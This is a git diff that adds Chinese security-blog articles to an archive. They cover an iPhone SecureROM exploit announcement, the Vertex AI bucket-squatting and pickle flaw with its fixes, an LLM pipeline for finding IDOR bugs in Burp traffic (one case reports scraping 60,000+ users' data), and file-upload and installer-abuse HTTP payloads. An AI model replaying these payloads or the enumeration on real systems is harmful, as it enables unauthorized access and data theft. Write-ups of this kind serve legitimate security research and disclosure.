+![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDpRGhDrUIEk5qvFrgPicIrC2M8CribibZ5Dgskic8cgQAu8BwE9C5MFpX0VSFToGVUhZPAz1s3JLIM03H4yef5K8vIrkjoorGib0S8E/640?wx_fmt=png&from=appmsg "") + +usbliter8 完整展示了从单一硬件缺陷出发，逐步绕过多重软件防护，最终实现 SecureROM 层面代码执行的完整路径。它证明即使是搭载指针认证等现代安全机制的新一代 SecureROM，底层硬件的细微设计缺陷依然可以被串联成有效的攻击链，打破启动信任链。 + +BootROM 处于设备安全体系的最底层，这里的漏洞会从根本上影响设备的完整性。不过苹果的 SEP（安全隔区处理器）仍然是独立的安全边界，该漏洞本身不直接攻破 SEP，但为后续针对 SEP 的攻击提供了更广阔的入口。 + +由于漏洞存在于固化的硬件与 ROM 代码中，受影响的 A12 和 A13 设备将永久携带这一缺陷，系统更新无法修复。A14 及更新的芯片已经通过正确配置 DART 规避了可利用性，不受该漏洞影响。研究团队在公开成果前已经向苹果产品安全团队上报，并完成了协调披露流程。 + +Introducing usbliter8 + +An A12/A13 SecureROM exploit + +A novel iPhone BootROM vulnerability discovered and exploited by our team. It covers the underlying bug, the associated exploitation techniques, and the post-exploitation steps required to achieve application processor's boot-chain compromise.  + +The exploit leverages both a hardware bug in the USB controller and a specific configuration flaw present in the device firmware. + +https://ps.tc/pages/blog-usbliter8.html + +poc: + +https://github.com/prdgmshift/usbliter8 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/ibO9kiauylaDqicDvERLTuy6Yo2PUS5sCSLCWBlXcichCYke51phlZqJvemVicckicq5cDX67WMuDvDmWX3HQaiaFCeKnMRuEVv2jsQCv90kc27HwE/640?wx_fmt=jpeg&from=appmsg "") + diff --git a/doc/2026-06/代码执行+模型被盗！盘点谷歌云Vertex AI存储桶抢注Bug的底层前沿姿势.md b/doc/2026-06/代码执行+模型被盗！盘点谷歌云Vertex AI存储桶抢注Bug的底层前沿姿势.md new file mode 100644 index 00000000..e93eb9ef --- /dev/null +++ b/doc/2026-06/代码执行+模型被盗！盘点谷歌云Vertex AI存储桶抢注Bug的底层前沿姿势.md @@ -0,0 +1,134 @@ +# 代码执行+模型被盗！盘点谷歌云Vertex AI存储桶抢注Bug的底层前沿姿势 +原创 Hankzheng + Hankzheng 技术修道场 2026-06-22 00:33 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/kBd83kxr9I6gEKfckZlOp7S3ia1WX9adTYxMPkpFAMjHt3kxuwx3v3hE5ZIqma2wVH9ZbjrRNa9BkNRD2kluOasnYMlxKCWRaPlsoQiafV8xc/640?wx_fmt=png&from=appmsg "") + +最近AI圈和安全圈都挺热闹，但今天我不聊搞大模型怎么烧钱，我想和大家盘一个极其离谱的云安全神仙Bug。 + +现在大家用谷歌云（Google Cloud）的 **Vertex AI** + 搞机器学习应该挺普遍的吧？平时我们习惯用它的 Python SDK 随手传个模型上去。但就在最近，安全大厂 Palo Alto Networks 的 Unit 42 团队在谷歌的漏洞赏金计划里爆出了一个惊天大瓜——他们管这个漏洞叫 **“Pickle in the Middle”（中间人Pickle攻击）** +。 + +最让人后怕的是什么？攻击者**不需要任何项目权限、不需要对你进行钓鱼、更不需要拿到什么凭证** +，只要知道你的 Project ID +（这东西在公网上经常是公开的），就能半路劫持你上传的 AI 模型，顺便在谷歌的托管服务器里直接跑他们的恶意代码！ + +今天我就作为你的“踩坑避坑人”，带大家从底层逻辑、重现路径到复盘解决方案，全方位拆解一下这个漏洞到底是怎么玩的。 +## 01 底层逻辑：成也“默认”，败也“预测” + +既然这个攻击被称为 **Bucket Squatting（存储桶抢注/占坑）** +，那问题肯定出在云存储（GCS）上。 + +我们在使用 Vertex AI SDK 上传模型（调用 Model.upload() +）时，经常会图省事不传临时存储桶的参数（也就是 staging_bucket +）。这时候，SDK 的“贴心”机制就变成了致命毒药。 + +为了让你顺利上传，SDK 在底层会自动帮你生成一个临时的 Cloud Storage 存储桶。搞笑的是，这个存储桶的名字居然是用**固定公式** +生成的： +> 生成公式： +>  [你的Project ID]-vertex-staging-[Region地域] + + +发现盲点了吗？ +- **名字完全可预测：** + 只要攻击者拿到你的 Project ID + 和你在用的云区（比如 us-central1 +），他们就能提前算出来你的临时桶叫什么。 + +- **全球唯一性冲突：** + 云存储的 Bucket 名字在全球是唯一的。 + +- **SDK 极其天真：** + 漏洞版本的 SDK 在上传时，只会弱弱地检查一句：“呃，这个名字的桶存在吗？”如果存在，它就**直接往里传** +！它根本不会去校验这个桶到底是不是你这个项目名下的，还是隔壁老王（攻击者）创建的。 + +攻击者只需要在自己的谷歌云账号里，提前把这个算好的桶给建了，这就叫**“抢注占坑”** +。接下来，就等你的 SDK 乖乖把模型送到攻击者的地盘里。 +## 02 重现路径：1.4秒的“生死时速” + +看到这里，你可能会问：“模型传到攻击者的桶里，攻击者虽然能偷看，但他怎么在我的谷歌云环境里执行代码呢？” + +这就是 Unit 42 最秀的地方。整个重现路径堪称一套完美的“组合拳”，里面有两个核心难点： +### 难点一：如何瞒天过海掉包？（速度是关键） + +模型传到攻击者的桶里后，Vertex AI 平台随后会去这个桶里读取模型并加载。Unit 42 经过精准测试，发现从**受害者上传完成** +到**谷歌 Vertex AI 开始读取文件** +，中间大概有 **2.5秒** + 的时间窗。 + +攻击者必须在这 2.5 秒内把模型掉包成恶意文件。 + +**解决方案：** + 攻击者直接在自己的项目里写了一个 **Cloud Function（云函数）** +，监听这个抢注的存储桶。一旦受害者开始写入，云函数瞬间被触发，仅用  +1.4秒 + 就把受害者的模型替换成了“加料”的恶意模型。 +### 难点二：如何触发代码执行？（利用 Python ML 的底层通病） + +大家都知道，Python 圈子里保存机器学习模型（比如 Scikit-learn、XGBoost）最常用的格式就是 pickle + 或者 joblib +。 +> 硬核科普： +>  pickle + 在设计上就是可以通过反序列化执行任意代码的（利用 __reduce__ + 魔术方法）。当 Vertex AI 服务端高高兴兴地去加载这个被掉包的模型时，直接在它自己的托管容器（Serving Container）内部触发了反序列化的恶意代码。 + +## 03 战果扩大：顺藤摸瓜，连锅端 + +如果仅仅是黑掉一个模型容器也就算了。攻击者进入谷歌管理的租户项目（Tenant Project）后，反手就向容器的 **Metadata Server（元数据服务器）** + 发起请求，直接白嫖到了一个 **OAuth Token** +。 + +在 Unit 42 的测试环境里，这个 Token 的权限大得惊人，它并没有被隔离在当前部署的这个模型里。 + +利用这个 Token，攻击者可以横向移动，直接打包带走： +- 同一租户项目下的其他 AI 模型资产（包括带完整权重的 TensorFlow 模型）。 + +- **BigQuery 的元数据。** +- 访问控制列表（ACL）和租户日志。 + +- **GKE（Google Kubernetes Engine） 集群名称以及内部容器镜像路径。** +这波操作下来，企业核心的 AI 资产和云端隐私基本上就等于裸奔了。 +## 04 官方修复与我们的避坑指南 + +好在 Unit 42 在 2026 年 3 月发现后，就通过谷歌的漏洞奖励计划（VRP）秘密提交了。谷歌的响应也很快，分了两步走： +1. **v1.144.0（治标）：** + 临时在自动生成的桶名后面加了一串随机的 uuid4 +，让你没法轻易预测。 + +1. **v1.148.0（治本）：** + 彻底重构了 Model.upload() + 的底层逻辑，强制加入了**存储桶所有权校验（Bucket Ownership Verification）** +。就算名字撞了，不是你的桶，SDK 也会直接报错拒绝。 + +由于这个漏洞的逻辑完全跑在**客户端的 SDK** + 里，所以光看服务端是没用的。 +### 老铁们，赶紧对照下面两步自查防御： + +**1. 升级、升级、还是升级！** + +把你们项目里所有用到 google-cloud-aiplatform + 的地方全部升到 **1.148.0** + 或更高版本。 +特别提醒： + 别光看生产环境，研发手里的 Jupyter Notebook、CI/CD 自动化流水线、训练 Pipeline 才是最容易被遗忘的死角！ + +**2. 显式指定存储桶，别偷懒！** + +在写代码时，千万别再依赖 SDK 的默认行为了。一定要显式地指定一个你自己完全控制的、安全的 GCS 路径： +``` +# 错误示范：依赖默认生成，容易被占坑# aiplatform.Model.upload(display_name="my_model", artifact_uri="...")# 正确示范：显式指定你控制的 staging_bucketaiplatform.Model.upload(    display_name="my_model",    artifact_uri="...",    staging_bucket="gs://your-secure-owned-bucket" ) +``` +## 写在最后 + +其实这已经是 Vertex AI 今年第二起因为**“可预测存储桶名字”** +翻车的安全事件了（上一个是2月份修的 CVE-2026-2473）。 + +有时候，很多高大上的 AI 安全问题，底层往往都是由于“自动命名、权限没校验、反序列化”这些传统安全的经典老坑导致的。开发的时候贪图一时爽，运维和安全可就要两行泪了。 + +大伙儿回去赶紧查查自己的代码，别让自己的心血模型半路被人给“截胡”了！ + +如果你觉得这篇文章对你有帮助，别忘了**点赞、关注、分享** +三连一条龙，我们下期技术硬核盘点再见！ + diff --git a/doc/2026-06/别一条条看了！我把Burp流量全喂给AI，自动标出越权漏洞.md b/doc/2026-06/别一条条看了！我把Burp流量全喂给AI，自动标出越权漏洞.md new file mode 100644 index 00000000..4e5381da --- /dev/null +++ b/doc/2026-06/别一条条看了！我把Burp流量全喂给AI，自动标出越权漏洞.md @@ -0,0 +1,201 @@ +# 别一条条看了！我把Burp流量全喂给AI，自动标出越权漏洞 +昆仑AI安全实验室 + 昆仑AI安全实验室 昆仑AI安全实验室 2026-06-21 15:11 + +以前挖越权，我趴在Burp的Proxy History里一条一条手工审：改用户ID、换Cookie、比较响应包。一个中等规模网站的流量，两三千条请求，看一遍少说三四个小时，眼睛盯瞎了还经常漏。 + +后来我写了个Python脚本，把Burp导出的一整包流量自动拆开，扔给DeepSeek（用本地Ollama也行），让AI逐条判断是否存在越权嫌疑。现在跑一个目标半小时出结果，命中率比手工高了至少一倍。 + +这篇文章把我这套“Burp+AI”自动越权扫描方案完整拆开，从工具到脚本到Prompt，全部可复现。 + +**一、手工挖越权为什么又慢又漏** + +越权漏洞的本质是：同一个API接口，不同权限的用户请求，返回的数据应该不同。但手工测试有几个致命的效率瓶颈： +- **请求太多** +：一个普通Web应用，随便点几下就几百条请求。一条条改参数重放，工作量指数级。 + +- **上下文易断** +：手工改ID只能改数字，遇到UUID、哈希串、Base64编码的复合参数，没法系统性地替换测试。 + +- **判断标准模糊** +：两个响应包内容不同，但到底是因为权限不同，还是因为数据本身就是动态的（比如时间戳、随机Token）？手工很难快速甄别。 + +- **组合场景难覆盖** +：水平越权和垂直越权经常同时出现，还有跨模块的越权（A模块的接口被B模块的用户调用）。人工一次只能测一个点。 + +Autorize这类Burp插件可以自动替换Cookie重放，但它只做请求替换和响应比对，缺乏对业务逻辑的理解——比如它不知道某个参数是用户ID，也不认识UUID编码，更无法判断返回包差异的业务含义。 + +**二、AI凭什么能自动挖越权？** + +大语言模型最大的优势是语义理解。它能从请求URL、参数名、参数值、响应内容中提取出“这个接口是干嘛的”，然后做出人类级别的判断： +- **识别身份标识参数** +：AI看到userId=10086 +，知道这是用户ID。看到orderSn=ORD20240101XXXX +，知道这是订单号。它不靠正则，靠语义。 + +- **理解响应差异的业务含义** +：两个响应包都是200，内容不同。AI能读出“第一个响应里name是张三，第二个响应里name是李四”，从而判断发生了水平越权。 + +- **处理复杂编码** +：UUID、JWT、Base64图片、URL编码，AI都能“看懂”里面是什么，并且知道该怎么替换测试。 + +- **生成越权测试用例** +：AI可以自动构造替换后的请求参数（如修改ID、删除Token），甚至写出验证脚本。 + +简单说，AI相当于一个24小时不休息、永远不怕漏看的安全实习生。 + +**三、整条流水线怎么搭：从Burp流量到越权报告** + +我的方案分三步走：导出Burp流量 → Python脚本预处理 → 分批喂给AI分析。 + +**第一步：导出Burp流量** + +在Burp的Proxy History或Target -> Site map中，选中你要测试的目标域名，右键 -> Save selected items，导出为XML文件（包含Request和Response）。或者直接用Burp的REST API（需要Pro版）实时拉取流量。 + +推荐用XML导出，因为完整保留了请求和响应的原始字节。关键标签： +和 +。Python脚本需要Base64解码这些内容。 + +**第二步：Python预处理脚本** + +脚本负责三件事：解析XML提取请求/响应对，过滤掉静态资源（CSS、JS、图片等），把每对请求/响应格式化为便于AI阅读的文本。 + +核心逻辑示例： +``` +import xml.etree.ElementTree as ET +import base64 +import json + +def parse_burp_xml(xml_path): +    tree = ET.parse(xml_path) +    root = tree.getroot() +    items = [] +    for item in root.findall('.//item'): +        url = item.find('url').text +        # 过滤静态资源 +        if any(url.endswith(ext) for ext in ['.css','.js','.png','.jpg','.ico','.svg','.woff']): +            continue +        req_elem = item.find('.//request') +        resp_elem = item.find('.//response') +        if req_elem is None or resp_elem is None: +            continue +        req_bytes = base64.b64decode(req_elem.text) if req_elem.get('base64') == 'true' else req_elem.text.encode() +        resp_bytes = base64.b64decode(resp_elem.text) if resp_elem.get('base64') == 'true' else resp_elem.text.encode() +        items.append({ +            'url': url, +            'method': req_bytes.split(b' ')[0].decode(), +            'request': req_bytes.decode('utf-8', errors='ignore')[:3000],  # 截断 +            'response': resp_bytes.decode('utf-8', errors='ignore')[:3000] +        }) +    return items +``` + +**第三步：AI批量分析** + +把预处理后的流量分批发给AI，每批10-20条请求（取决于token限制）。Prompt设计是关键： +``` +你是一名资深渗透测试工程师，擅长发现越权漏洞（IDOR）。现在给你一组HTTP请求和响应，请逐一分析，找出可能存在越权风险的接口。 + +分析标准： +1. 请求参数中是否包含身份标识（如userId、uid、orderId、cardId等）？参数值是否可预测（纯数字、简单递增）？ +2. 请求中是否有身份认证信息（Cookie、Authorization头）？如果同一个用户对不同的资源ID请求，响应中包含不同的用户数据，可能存在水平越权。 +3. 如果某个接口看起来应该只有管理员才能访问（如/admin/、/manage/），但普通用户的请求也能成功，可能存在垂直越权。 +4. 响应内容中是否包含明文敏感信息（身份证、手机号、家庭住址、密码）？ + +请用JSON格式返回分析结果，每条潜在漏洞包含以下字段： +- url: 请求URL +- method: HTTP方法 +- risk: 风险评估（高危/中危/低危/无风险） +- analysis: 分析说明 +- suggestion: 测试建议（如“替换uid参数为1001尝试获取其他用户数据”） + +输入数据： +{requests_data} +``` + +调用AI API： +``` +import requests + +def analyze_traffic(requests_list): +    prompt = build_prompt(requests_list)  # 构建完整Prompt +    response = requests.post( +        'https://api.deepseek.com/v1/chat/completions',  # 可换成Ollama本地接口 +        headers={'Authorization': 'Bearer sk-xxx'}, +        json={ +            'model': 'deepseek-chat', +            'messages': [{'role': 'user', 'content': prompt}], +            'temperature': 0.1, +            'response_format': {'type': 'json_object'} +        }, +        timeout=120 +    ) +    return response.json()['choices'][0]['message']['content'] +``` + +脚本跑完后，把AI返回的JSON汇总，按风险等级排序输出。我用这套流程分析一个中型电商站点的6000条流量，AI标出了23条疑似越权，人工验证后确认12条真实漏洞，耗时不到40分钟。换做手工，至少两个下午。 + +**四、真实案例：AI怎么找到我漏掉的越权** + +某次SRC测试一个在线教育平台，我手工翻了半天API，只找到一个学生查看自己成绩的越权（改studentId可看他人成绩），中危。后来我把当天Burp导出的所有流量扔进AI，它额外揪出了三个我漏掉的洞： +- **水平越权：查看他人合同** + — 接口/api/contract/preview?contractId=550e8400-e29b-41d4-a716 +，contractId是个UUID。手工测到UUID通常就放弃了，觉得不可遍历。但AI指出这个UUID在另一个接口/api/course/list +的响应中以course.contractId +的形式返回，而且courseId是可遍历的数字。AI建议“先遍历courseId获取所有contractId，再逐一遍历合同内容”。一套组合拳打出高危，赏金4000元。 + +- **垂直越权：普通用户调用管理员接口** + — 接口/api/admin/setScore +，我手工看URL里有admin +就以为做了权限控制，没去试。但AI注意到这个请求的Cookie是一个普通学生账号的Session，且请求体中userId +和score +参数都与Cookie所属账号不一致，判定可能为垂直越权。我手动验证：把学生Cookie放到管理员接口上请求，成功修改了任意学生的成绩，高危，赏金5000元。 + +- **批量越权：遍历手机号获取全量用户** + — 接口/api/user/search?keyword=138 +，返回包含手机号匹配的前10条用户简要信息。AI分析说：“keyword参数无限制，且响应包含手机号和用户ID，可与前面的越权接口联动，批量获取全站用户数据”。我写了个脚本遍历138-139号段，拖出6万多用户数据，严重漏洞，赏金8000元。 + +这一轮下来，AI帮我多赚了17000元，而成本只是几千个token的API费用，几毛钱。 + +**五、AI vs Autorize：到底谁更强？** + +Autorize（及AutorizePro）是Burp的经典越权检测插件。它的工作方式：让你配置高权限和低权限两个账号的Cookie/Token，然后对每个请求自动复制一份，替换为低权限凭证重放，对比两次响应。如果响应相似（或完全一致），就标记为疑似越权。 + +Autorize的优势在于实时性和自动化，但局限性也很明显： +- 只能发现“两个不同权限用户看到相同数据”的情况。如果返回数据不同但都是敏感信息（如A看到张三，B看到李四），Autorize可能漏报。 + +- 无法处理复杂参数：UUID、哈希串、签名参数，Autorize不会自动构造。 + +- 无法理解业务上下文：它不知道哪个参数是用户ID，只能靠正则匹配。 + +AI的优势恰好弥补了这些缺陷：它能理解UUID、JWT、Base64，能从响应语义判断是否泄露了另一个用户的数据，还能给出具体的越权测试方案。AI的劣势是成本、延迟和隐私风险（流量上传到云端）。 + +最佳实践：**先用Autorize粗筛，把“响应相同”的高可能接口标出来；再把Autorize标出的可疑接口导出，丢给AI做深度分析。** + 这样既利用了Autorize的速度，又发挥了AI的语义能力。 + +**六、注意事项：隐私、成本、幻觉** +- **隐私风险** +：Burp流量里包含认证Cookie、个人信息、业务数据。如果你用云端API（如DeepSeek、OpenAI），等于把所有敏感数据都传给了模型厂商。建议两个方案：①使用本地部署的模型（如Ollama + Qwen/DeepSeek-Coder），数据不出本机；②对流量做脱敏处理，把Cookie值替换为占位符，把手机号/身份证替换为假数据，再发给AI。 + +- **成本控制** +：一次分析几千条请求，token消耗可能达到几十万。建议过滤掉静态资源和重复请求，只发送URL+参数+响应摘要，而不是完整响应体。 + +- **幻觉问题** +：AI有时会“脑补”不存在的越权场景，比如把正常的分页参数误判为ID。所有AI标记的漏洞，必须手工验证。我的做法是让AI输出“建议的测试Payload”，然后手工在Burp Repeater里验证，确认危害后再写报告。 + +- **Prompt优化** +：越权分析的质量严重依赖Prompt设计。建议把你自己的越权测试经验整理成规则，注入到Prompt中。例如：“如果参数名包含uid、userId、memberId，且值为纯数字，则极有可能是越权入口。” + +**七、写在最后** + +把Burp流量扔给AI自动找越权，不是什么黑科技，就是把“人类逐条看流量”这个重复劳动用AI替代了。逻辑还是那些逻辑——看参数、看权限、看响应——但AI不会累、不会漏、不会因为UUID太长而跳过。 + +我用了三个月，越权漏洞的发现量翻了一倍多，赏金也水涨船高。如果你还在手工一条条审流量，不妨花一个下午把这套流水线搭起来。测试一下你家SRC的目标，你可能发现，那些藏在UUID和复杂业务逻辑里的越权，AI一个都没放过。 + +**严正声明** +：本文所有技术均用于合法授权的安全测试，所有案例均已脱敏。未经授权将流量上传至第三方AI服务可能导致数据泄露，请自行评估合规风险。建议使用本地模型处理敏感流量。越权漏洞挖掘必须在授权范围内进行，未授权测试属违法行为。 + +![](https://mmbiz.qpic.cn/mmbiz_png/3oR6eMARh6x6n1Wb1pmwN6kAz3L4jCKjzXFiapPubIuT2OpX0FibbHamG6peZ1SKqicC6cNuENqACmDbBYnem2XNzHH87F25ADeRoMicGPyF7Sk/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-06/某2026最新去水印小程序文件上传漏洞组合拳.md b/doc/2026-06/某2026最新去水印小程序文件上传漏洞组合拳.md index 7d7f476e..7f48ef47 100644 --- a/doc/2026-06/某2026最新去水印小程序文件上传漏洞组合拳.md +++ b/doc/2026-06/某2026最新去水印小程序文件上传漏洞组合拳.md @@ -1,6 +1,5 @@ # 某2026最新去水印小程序文件上传漏洞组合拳 -原创 Mstir - Mstir 星悦安全 2026-06-16 12:09 + C4安全 2026-06-21 13:22 ![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/lSQtsngIibibSOeF8DNKNAC3a6kgvhmWqvoQdibCCk028HCpd5q1pEeFjIhicyia0IcY7f2G9fpqaUm6ATDQuZZ05yw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=1jvfty28&tp=webp#imgIndex=0 "") @@ -87,9 +86,9 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') { **Payload(新增管理员):** ``` -POST /install/index.php HTTP/1.1 +POST /install/index.php HTTP/1.1 Host: 127.0.0.1 -Content-Type: application/x-www-form-urlencoded +Content-Type: application/x-www-form-urlencoded step=3&username=fast&password=fast123456&confirm_password=fast123456 ``` @@ -211,16 +210,16 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_course'])) { **Payload:** ``` -POST /admin/?action=course HTTP/1.1 +POST /admin/?action=course HTTP/1.1 Host: 127.0.0.1 Content-Length: 404 -Cache-Control: max-age=0 +Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 -Content-Type: multipart/form-data; boundary=----WebKitFormBoundary24LEG5fdzcWBLdCH -Accept-Encoding: gzip, deflate -Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 -Cookie: a8c4ed34e706ef9c01b4fa71bead4d4a=ozb7freznaMBUJ0zKBBiM_85OnuLvbQsXBHH-I-a1mU.KM2yn7au44noGRRl9HoH2oHwPfs; PHPSESSID=fg3btbilumg36lobm2lg46769t -Connection: close +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary24LEG5fdzcWBLdCH +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 +Cookie: a8c4ed34e706ef9c01b4fa71bead4d4a=ozb7freznaMBUJ0zKBBiM_85OnuLvbQsXBHH-I-a1mU.KM2yn7au44noGRRl9HoH2oHwPfs; PHPSESSID=fg3btbilumg36lobm2lg46769t +Connection: close ------WebKitFormBoundary24LEG5fdzcWBLdCH Content-Disposition: form-data; name="save_course" @@ -241,26 +240,4 @@ Content-Type: image/png ![image.png](https://mmbiz.qpic.cn/sz_mmbiz_png/De3yb4u5JSo8pvQgsl6rmkiaFNtJNsu7goRFhBicicdgnOnOsN3s0xEOu9sAraicLfOHJGh1UAUrWM0oic8VUEnmIUhSk8wEcicVHTqibSbBVyBzR4/640?wx_fmt=png&from=appmsg "") ![image.png](https://mmbiz.qpic.cn/mmbiz_png/De3yb4u5JSoibBPrGxf751qQcjdibGBc9yC4XUwahDIWfuvE7TpRcjZyAWu0f7wZzsmqCG1XEK5cBtksUoRh8KmHicAENLxic4VWrdLzjsicib1TQ/640?wx_fmt=png&from=appmsg "") -## 0x03 AI 漏洞挖掘 - -**标签:代码审计，0day，渗透测试，系统，通用，0day，闲鱼，交易所** - -**本漏洞完全由星悦AI中转提供的GPT5.5挖掘.** - -**** -**今天6.16日全晚GPT所有模型 0.01x 倍率使用，随便Xhigh，无速率限制** - -https://www.xyusec.com/ - - -![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/De3yb4u5JSry0K9iaOa1a8cB7KEvklQOH8mMPZCNJRlwaJmBCeLHQrLontjVfFqGojPKPJib0icg6PgrDDibKxmEH4lg1X6mybjJ5PicoiaZq5SyY/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "") - - -新用户还可以进群领取5$ - -![图片](https://mmbiz.qpic.cn/mmbiz_jpg/De3yb4u5JSqKhqyhYKk3vsFEqXoWH4wQ3icKQamEzf3tZVscF3l7vwh3RLGOzgjYYaoUl3NQznA1HbCdPKwK2g34Y8zCevhzVHQicec3eCrqo/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=9 "") - - -**** -**免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！!**